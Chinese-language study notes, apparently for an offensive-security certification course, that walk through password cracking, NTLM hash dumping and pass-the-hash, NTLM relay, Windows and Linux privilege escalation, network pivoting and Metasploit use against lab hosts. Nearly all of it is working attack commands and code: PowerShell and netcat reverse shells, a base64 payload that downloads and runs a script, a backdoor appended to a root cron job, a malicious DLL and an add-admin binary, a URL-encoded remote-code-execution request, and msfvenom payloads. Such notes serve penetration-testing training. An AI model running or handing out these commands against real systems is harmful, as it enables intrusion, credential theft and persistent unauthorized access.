$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e...

查看hashcat的破解策略

hashcat --help | grep -i "KeePass"

破解

hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

也可以用john直接破解不用修改hash文件

15.2.5 SSH秘钥破解

ssh2john id_rsa > ssh.hash
cat ssh.hash
有$6
hashcat -h | grep -i "ssh"
$6对应 22921 | RSA/DSA/EC/OpenSSH Private Keys ($6$)

创建规则

kali@kali:~/passwordattacks$ cat ssh.rule
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#

创建字典

kali@kali:~/passwordattacks$ cat ssh.passwords
Window
rickc137
dave
superdave
megadave
umbrella

破解

hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force

或者将规则计入到john配置里进行破解

sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'
john --wordlist=ssh.passwords --rules=sshRules ssh.hash

得到密码,进行ssh登录

ssh -i id_rsa -p 2222 dave@192.168.50.201
输入密码即可登录成功

15.3 使用密码hash

15.3.1 NTLM破解

查看本地用户

PS C:\Users\offsec> Get-LocalUser

管理员身份运行cmd或者powershell(mimikatz需要管理员权限)

.\mimikatz.exe
privilege::debug
token::elevate
lsadump::sam

获得SAM里面的hash

User : nelly
  Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10

破解

hashcat --help | grep -i "ntlm"
hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

15.3.2 NTLM传递

mimikatz获取hash

.\mimikatz.exe
privilege::debug
token::elevate
lsadump::sam

获得administrator的hash,使用smbclient进行hash传递

smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

可以获得smb共享以及文件

或者使用psexec传递,获得shell

impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212

也可以使用wmiexec传递获得shell

impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212

15.3.3 Net-NTLMv2破解

获取hash,本地(192.168.119.2)开启监听

ip a
sudo responder -I tap0

目标机器上执行命令

dir \\192.168.119.2\test

获得hsah

[+] Listening for events... 
[SMB] NTLMv2-SSP Client   : ::ffff:192.168.50.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480055005800430034005400490043002E00360057004D0052002E004C004F00430041004C0003001400360057004D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C000700080000B050CD1777D801060004000200000008003000300000000000000000000000002000008BA7AF42BFD51D70090007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003100310038002E0032000000000000000000 

保存hash,查看破解策略

hashcat --help | grep -i "ntlm"

 5600 | NetNTLMv2

破解

hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force

15.3.4 Net-NTLMv2中继/转发

破解不出密码时,可以转发

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."

报错的话需要用python3调用py脚本

python3 /usr/local/bin/ntlmrelayx.py --no-http-server -smb2support -t 192.168.240.212 -c "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA3AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA3ACAALQBwACAAOQAwADkAMAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA"

powershell命令需要base64编码

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

16.1 Windows提权信息枚举

16.1.2 基本信息枚举

查看当前用户和组

whoami
whoami /groups
powershell
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember adminteam
Get-LocalGroupMember Administrators

查看系统信息

systeminfo

查看网络和路由信息

ipconfig /all
route print
netstat -ano

查看软件安装信息(32位和64位)

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

查看当前进程

Get-Process

16.1.3 密码明文存储

查找密码文件,关注常见的密码文件

.kdbx -- keepass的密码存储文件
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.ini
cat Desktop\asdf.txt
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

获得密码后可以运行用户下的cmd

PS C:\Users\steve> runas /user:backupadmin cmd

16.1.4 powershell历史记录

查看历史

Get-History

历史文件位置

(Get-PSReadlineOption).HistorySavePath

查看历史文件

type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

历史文件中找到敏感文件

type C:\Users\Public\Transcripts\transcript01.txt

敏感文件里有密码和session连接信息,使用信息进行session连接

$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
whoami

PSSession下执行命令可能没有回显,使用winrm,主要密码中特殊字符需要转译

evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

16.1.5 自动枚举

winpeas

cp /usr/share/peass/winpeas/winPEASx64.exe .
python3 -m http.server 80

powershell
iwr -uri http://192.168.118.2/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe

16.2 利用Windows服务

16.2.1 服务二进制文件劫持

查看服务

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

查看服务的二进制文件访问权限

icacls "C:\xampp\apache\bin\httpd.exe"
icacls "C:\xampp\mysql\bin\mysqld.exe"
Mask掩模 Permissions权限
F Full access完全访问权限
M Modify access修改访问
RX Read and execute access读取和执行访问
R Read-only access只读访问
W Write-only access只写存取

关注F和W权限的

创建添加用户程序

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

编译

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

下载替换文件

iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

重启服务

net stop mysql

如果没有权限,可以看看服务是不是开机自启,如果是就看看是不是可以重启机器

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
whoami /priv
有SeShutdownPrivilege就可以重启

shutdown /r /t 0

重启后查看用户
Get-LocalGroupMember administrators

也可以使用自动化工具PowerUp.ps1

cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80

iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'

报错,有时不能盲目相信自动化工具,需要手动利用。

16.2.2 服务DLL劫持

枚举服务

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

查看二进制文件权限

icacls .\Documents\BetaServ.exe

可读可执行,不能替换,使用Procmon64.exe查看进程调用dll情况

点击Filter添加过滤规则

Process Name is BetaServ.exe 

然后重启服务

Restart-Service BetaService

看到多次调用myDLL.dll

查看环境变量

PS C:\Users\steve> $env:path
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\steve\AppData\Local\Microsoft\WindowsApps;

在第一个调用路径上放置dll文件

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

编译

x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

放置在一个调用路径,需要是一个可写目录,如:

C:\Users\steve\Documents 
cd Documents
iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll
net user

重启服务,dll被加载,代码被运行

Restart-Service BetaService
net user
net localgroup administrators

添加管理员成功

16.2.3 无引号文件路径

路径中存在空格时且路径没有被引号包裹,文件执行顺序如下:

C:\Program Files\My Program\My Service\service.exe
顺序:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

枚举服务和路径信息(powershell)

Get-CimInstance -ClassName win32_service | Select Name,State,PathName

枚举没有引号路径的服务(cmd)

wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

发现服务

Name                                       PathName                                                                   
...                                                                                                       
GammaService                               C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

测试起是否可以被启动和停止

Start-Service GammaService
Stop-Service GammaService

文件执行顺序

C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

检查路径是否可写

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

需要有F或者W权限,如

C:\Program Files\Enterprise Apps
iwr -uri http://192.168.119.3/adduser.exe -Outfile Current.exe
copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Start-Service GammaService

net user
net localgroup administrators

自动化工具PowerUp

iwr http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService

Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService
net user
net localgroup administrators

16.3 利用其他Windows组件

16.3.1 计划任务

查看

schtasks /query /fo LIST /v

关注任务名、下一次执行时间、作者、文件路径等信息

查看是否可以替换

icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

替换

iwr -Uri http://192.168.119.3/adduser.exe -Outfile BackendCacheCleanup.exe
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\

等执行时间过后,查看

net user
net localgroup administrators

16.3.2 使用漏洞

查看权限

whoami /priv

有SeImpersonatePrivilege可以用PrintSpoofer或者土豆系列

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
python3 -m http.server 80

powershell
iwr -uri http://192.168.119.2/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell.exe
whoami

17.1 linux提权信息枚举

17.1.2 手动枚举

文件权限

ls -l /etc/shadow

当前用户id

id

所有用户

cat /etc/passwd

主机名

hostname

操作系统信息

cat /etc/issue
cat /etc/os-release
uname -a

进程信息

ps aux

关注root权限的

网络信息

ip a
routel
ss -anp

防火墙规则

cat /etc/iptables/rules.v4

计划任务

ls -lah /etc/cron*

关注是否有root权限的文件可以替换

查看当前用户计划任务

crontab -l
sudo crontab -l

查看已安装程序

dpkg -l

搜索可写目录

find / -writable -type d 2>/dev/null

查看已安装文件系统和驱动器

cat /etc/fstab
mount

查看可用磁盘

lsblk

可能有未挂载的磁盘里面有敏感信息

查看内核模块

lsmod

查看模块信息

/sbin/modinfo libata

查找SUID二进制文件

find / -perm -u=s -type f 2>/dev/null

17.1.3 自动枚举

unix-privesc-check
./unix-privesc-check standard > output.txt

如/etc/passwd文件可写提权

https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation

其他辅助脚本

https://github.com/rebootuser/LinEnum
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

17.2 敏感信息

17.2.1 用户配置中的敏感信息

环境变量(比如密码等信息)

env

bash配置文件(比如密码等信息)

cat .bashrc

找到密码后切换用户

su - root
whoami

根据密码做字典

crunch 6 6 -t Lab%%% > wordlist

破解指定用户密码

hydra -l eve -P wordlist  192.168.50.214 -t 4 ssh -V

登录后查看sudo

ssh eve@192.168.50.214
sudo -l

User eve may run the following commands on debian-privesc:
    (ALL : ALL) ALL

直接sudo提权

sudo -i
输入eve密码,获得root
whoami

17.2.2 服务运行痕迹

监测进程中的敏感信息

watch -n 1 "ps -aux | grep pass"

监测网络通信中的敏感信息

sudo tcpdump -i lo -A | grep "pass"

17.3 不安全的文件权限

17.3.1 利用CRON

查看cron日志

grep "CRON" /var/log/syslog

关注root定时运行的文件,找到后查看内容和权限

cat /home/joe/.scripts/user_backups.sh
ls -lah /home/joe/.scripts/user_backups.sh

可写,插入一句话后门

cd .scripts
echo >> user_backups.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f" >> user_backups.sh
cat user_backups.sh

nc -lnvp 1234

17.3.2 利用密码校验

/etc/passwd可写

openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
Password: w00t
id

17.4 不安全系统组件

17.4.1 利用Setuid二进制文件

查看文件的SUID标志位

ls -asl /usr/bin/passwd

find

find /home/joe/Desktop -exec "/usr/bin/bash" -p \;

getcap

/usr/sbin/getcap -r / 2>/dev/null

perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

更多suid提权利用查看

https://gtfobins.github.io/

17.4.2 sudo利用

查看当前用户可以使用的特权命令

sudo -l

查看https://gtfobins.github.io/,发现

COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

没有成功,提示

failed: Permission denied

查看日志

cat /var/log/syslog | grep tcpdump

发现是AppArmor限制了,root权限后查看apparmor状态信息

su - root
aa-status
发现
/usr/sbin/tcpdump

换一个apt-get

sudo apt-get changelog apt
!/bin/sh

提权成功

17.4.3 内核漏洞提权

查看架构及内核版本信息

cat /etc/issue
uname -r
arch

搜索漏洞

searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"   | grep  "4." | grep -v " < 4.4.0" | grep -v "4.8"
cp /usr/share/exploitdb/exploits/linux/local/45010.c .
head 45010.c -n 20
mv 45010.c cve-2017-16995.c
scp cve-2017-16995.c joe@192.168.123.216:
gcc cve-2017-16995.c -o cve-2017-16995
file cve-2017-16995
./cve-2017-16995

18.2 使用linux工具端口转发

18.2.3 socat端口转发

跳板机上

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

kali上连接跳板机的2345端口就会转发到内网10.4.50.215:5432端口

psql -h 192.168.50.63 -p 2345 -U postgres

登录postgres数据库,查看数据库信息,查看表信息,查看内容

\l
\c confluence
select * from cwd_user;

获得密码进行暴力破解

hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt

破解出密码后,在跳板机上做端口转发

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

kali上ssh连上去

ssh database_admin@192.168.50.63 -p2222

18.3 SSH隧道

18.3.1 本地端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)--目标(172)

ssh需要交互式shell操作,需要在跳板1上转换交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh database_admin@10.4.50.215
ip addr

在跳板2上发现172段,查看路由,并扫描172段存活主机445端口

ip route
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

发现一台

172.16.50.217 445

现在想要在kali上连接172段的445端口

在跳板1上做本地端口转发到跳板2的172段

ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215
ss -ntplu

kali上连接

smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234
smbclient -p 4455 //192.168.50.63/scripts -U hr_admin --password=Welcome1234
ls
get Provisioning.ps1

成功下载172主机上的ps1文件

18.3.2 动态端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)--目标(172)

跳板1上开启9999端口做socks代理

python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

kali上设置proxychains4

tail /etc/proxychains4.conf

socks5 192.168.50.63 9999
proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

18.3.3 远程端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)

kali上开启ssh服务

sudo systemctl start ssh
sudo ss -ntplu

跳板1上ssh连接kali

python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4

连接成功后kali上会开启2345端口,kali上连接自己的2345就是跳板2的5432端口

ss -ntplu
psql -h 127.0.0.1 -p 2345 -U postgres

18.3.4 远程动态端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)

跳板1上ssh连接kali

python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 kali@192.168.118.4

连接成功后kali上开启了9998的socks代理

sudo ss -ntplu
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998
proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64

18.3.5 sshuttle

kali(192)---跳板1(192和10)---跳板2(10和172)--目标(172)

跳板1上做端口转发

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

kali上通过跳板1的转发ssh到跳板2上,并添加10和172网段

sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

连接成功后kali可以直接访问10和172段

smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

18.4 Windows端口转发工具

18.4.1 ssh.exe

kali(192)---win跳板1(192和10)---目标(10)

kali上开启ssh服务

sudo systemctl start ssh

rdp到跳板1上,找到ssh.exe,连接kali

xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64
where ssh
ssh.exe -V
版本高于7.6才可以做端口转发
ssh -N -R 9998 kali@192.168.118.4

kali上开启了9998的socks代理,配置proxychains后可以连10段主机

ss -ntplu
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998
proxychains psql -h 10.4.50.215 -U postgres
\l

kali(192)---防火墙(屏蔽连接跳板1的3389端口)---win跳板1(192)

开上开启80端口web服务供下载文件

sudo systemctl start apache2
find / -name nc.exe 2>/dev/null
sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/
find / -name plink.exe 2>/dev/null
sudo cp /usr/share/windows-resources/binaries/plink.exe /var/www/html/

nc -nvlp 4446

跳板1上使用webshell下载nc,反弹shell到kali上

powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446
powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:\Windows\Temp\plink.exe

下载plink后,做ssh到kali,开启kali的9833端口,连接到跳板1的3389端口

C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4

kali上查看开启端口,并rdp本机9833就是跳板1的3389端口

ss -ntplu
xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833

18.4.3 Netsh

kali(192)---win跳板1(192和10)---目标(10)

跳板1上做转发

xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64
管理员运行cmd
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215

映射跳板2222端口到目标的22端口,查看跳板2222是否开放及代理列表

netstat -anp TCP | find "2222"
netsh interface portproxy show all

kali扫描跳板的2222端口

sudo nmap -sS 192.168.50.64 -Pn -n -p2222

不成功,因为Windows防火墙会阻止kali连接2222端口,防火墙增加一条规则,允许入向连接2222端口

netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow

kali连接目标成功

sudo nmap -sS 192.168.50.64 -Pn -n -p2222
ssh database_admin@192.168.50.64 -p2222

删除防火墙及代理策略

netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64

19.1 HTTP隧道

19.1.2 使用chisel搭建HTTP隧道

kali(192)---linux跳板1(192和10)---目标(10)

kali开启web服务提供下载chisel使用,并开启chisel反向代理

sudo systemctl start apache2
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
sudo cp ./chisel /var/www/html

chisel server --port 8080 --reverse

在linux跳板1上下载并执行

wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel
/tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 &

linux跳板1上是使用web漏洞进行命令执行的,需要url编码

curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.118.4/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/

curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.118.4:8080%20R:socks%27%29.start%28%29%22%29%7D/

kali上查看,默认是1080端口开socks服务,安装ncat,ssh到10段通过本地的1080端口socks转发

ss -ntplu
sudo apt install ncat
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215

19.2 DNS隧道

19.2.2 使用dnscat2搭建DNS隧道

kali(192)---……---跳板(任意和172)--目标(172)

前提是跳板发出的dns请求不管转发多少次,最终由kali上的服务端解析

在kali上启动dnscat2的服务端

dnscat2-server feline.corp

启动后会开启53端口监听

跳板上启动dnscat2客户端

./dnscat feline.corp

运行成功后会在服务端看到客户端连接成功,查看并配置客户端转发策略,就可以本地连接目标172主机

windows
window -i 1
?
listen --help
listen 127.0.0.1:4455 172.16.2.11:445

smbclient -p 4455 -L //127.0.0.1 -U hr_admin --password=Welcome1234

20.1 熟悉Metasploit框架

20.1.1 MSF基本设置

数据库初始化

sudo msfdb init

如果想开机启动数据库可以

sudo systemctl enable postgresql

启动MSF并查看数据库状态

sudo msfconsole
db_status

帮助命令

help

查看并新建工作区

workspace
workspace -a pen200

nmap扫描并将结果存进数据库

db_nmap
db_nmap -A 192.168.50.202

在数据库里查看主机、服务、指定端口服务

hosts
services
services -p 8000

命令帮助信息查询

show -h

20.1.2 工具模块

查看

show auxiliary

搜索并使用,查看工具模块说明、参数等

search type:auxiliary smb
use 56
info
show options

设置参数,取消设置,从数据库中筛选设置,运行,查看结果

set RHOSTS 192.168.50.202
unset RHOSTS
services -p 445 --rhosts
run
vulns

ssh登录尝试工具搜索并使用,查看正确的账号密码

search type:auxiliary ssh
use 15
show options
set PASS_FILE /usr/share/wordlists/rockyou.txt
set USERNAME george
set RHOSTS 192.168.50.201
set RPORT 2222
run

creds

20.1.3 漏洞利用模块

创建工作区,搜索漏洞利用工具,查看并设置参数,设置payload及参数,运行

workspace -a exploits
search Apache 2.4.49
use 0
info
show options
set payload payload/linux/x64/shell_reverse_tcp
show options
set SSL false
set RPORT 80
set RHOSTS 192.168.50.16
run

成功后获得shell,使用Ctrl+z然后y将session置于后台,列举所有sessions,进入某个session,取消某个session

sessions -l
sessions -i 2
sessions -k 2

后台监听和持续监听

run -j
run -z

20.2 MSF载荷

20.2.1 分段与非分段载荷

查看载荷

show payloads

一般看有_的是非分段,有/是分段载荷,例如

shell_reverse_tcp 非分段
shell/reverse_tcp 分段

20.2.2 Meterpreter载荷

查看,使用,查看参数,在漏洞利用中使用

show payloads

payload/linux/x64/meterpreter_reverse_tcp

set payload 11
show options
run

获得权限,查看帮助

meterpreter > help

查看系统信息

sysinfo
getuid

获得shell,置于后台,查看所有shell信息,进入后台指定shell

shell

Ctrl+Z再按y可以把shell放在后台
channel -l
channel -i 1

查看本地路径,切换本地路径,下载文件,读取本地文件,上传文件,查看目标机器文件,退出

meterpreter > lpwd

lcd /home/kali/Downloads
download /etc/passwd
lcat /home/kali/Downloads/passwd
upload /usr/bin/unix-privesc-check /tmp/
ls /tmp
exit

20.2.3 可执行有效载荷

查看、生成(非分段)、下载、执行、获得shell

msfvenom -l payloads --platform windows --arch x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o nonstaged.exe
iwr -uri http://192.168.119.2/nonstaged.exe -Outfile nonstaged.exe
.\nonstaged.exe
nc -nvlp 443

分段载荷需要在MSF的multi/handler下使用,否则nc监听拿到shell无法执行命令

生成,启动msf,使用multi/handler

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o staged.exe

use multi/handler
set payload windows/x64/shell/reverse_tcp
show options
set LHOST 192.168.119.2
set LPORT 443
run

后台运行,查看job

run -j
jobs

20.3 使用MSF后渗透

20.3.1 核心后渗透功能

生成payload,上传,运行,获得shell

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.4 LPORT=443 -f exe -o met.exe
use multi/handler
set payload windows/x64/meterpreter_reverse_https
set LPORT 443
run

nc 192.168.50.223 4444
powershell
iwr -uri http://192.168.119.2/met.exe -Outfile met.exe
.\met.exe

后渗透功能:查看空闲时间、提权、进程迁移、隐藏窗口运行

idletime

shell
whoami /priv
有SeImpersonatePrivilege
exit
getuid
getsystem
getuid


ps
migrate 8052
ps
getuid

execute -H -f notepad
migrate 2720

20.3.2 后渗透模块

bypass UAC

getsystem
ps
migrate 8044
getuid
Server username: ITWK01\offsec

shell
powershell -ep bypass
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
Medium  说明有UAC

Ctrl+Z y后台运行shell
bg
search UAC
use exploit/windows/local/bypassuac_sdclt
show options
set SESSION 9
set LHOST 192.168.119.4
run

shell
powershell -ep bypass
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
High

mimikatz获取hash

use exploit/multi/handler
run
getsystem
load kiwi
help
creds_msv

20.3.3 设置路由和代理

ipconfig
发现是双网卡192和172段

meterpreter > bg
[*] Backgrounding session 12...

route add 172.16.5.0/24 12
route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.5.0         255.255.255.0      Session 12

端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.5.200
set PORTS 445,3389
run

use exploit/windows/smb/psexec
set SMBUser luiza
set SMBPass "BoccieDearAeroMeow1!"
set RHOSTS 172.16.5.200
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8000
run

自动设置路由

use multi/manage/autoroute
show options
sessions -l
set session 12
run
就可以自动添加192和172理由

设置代理

use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j

默认是1080端口

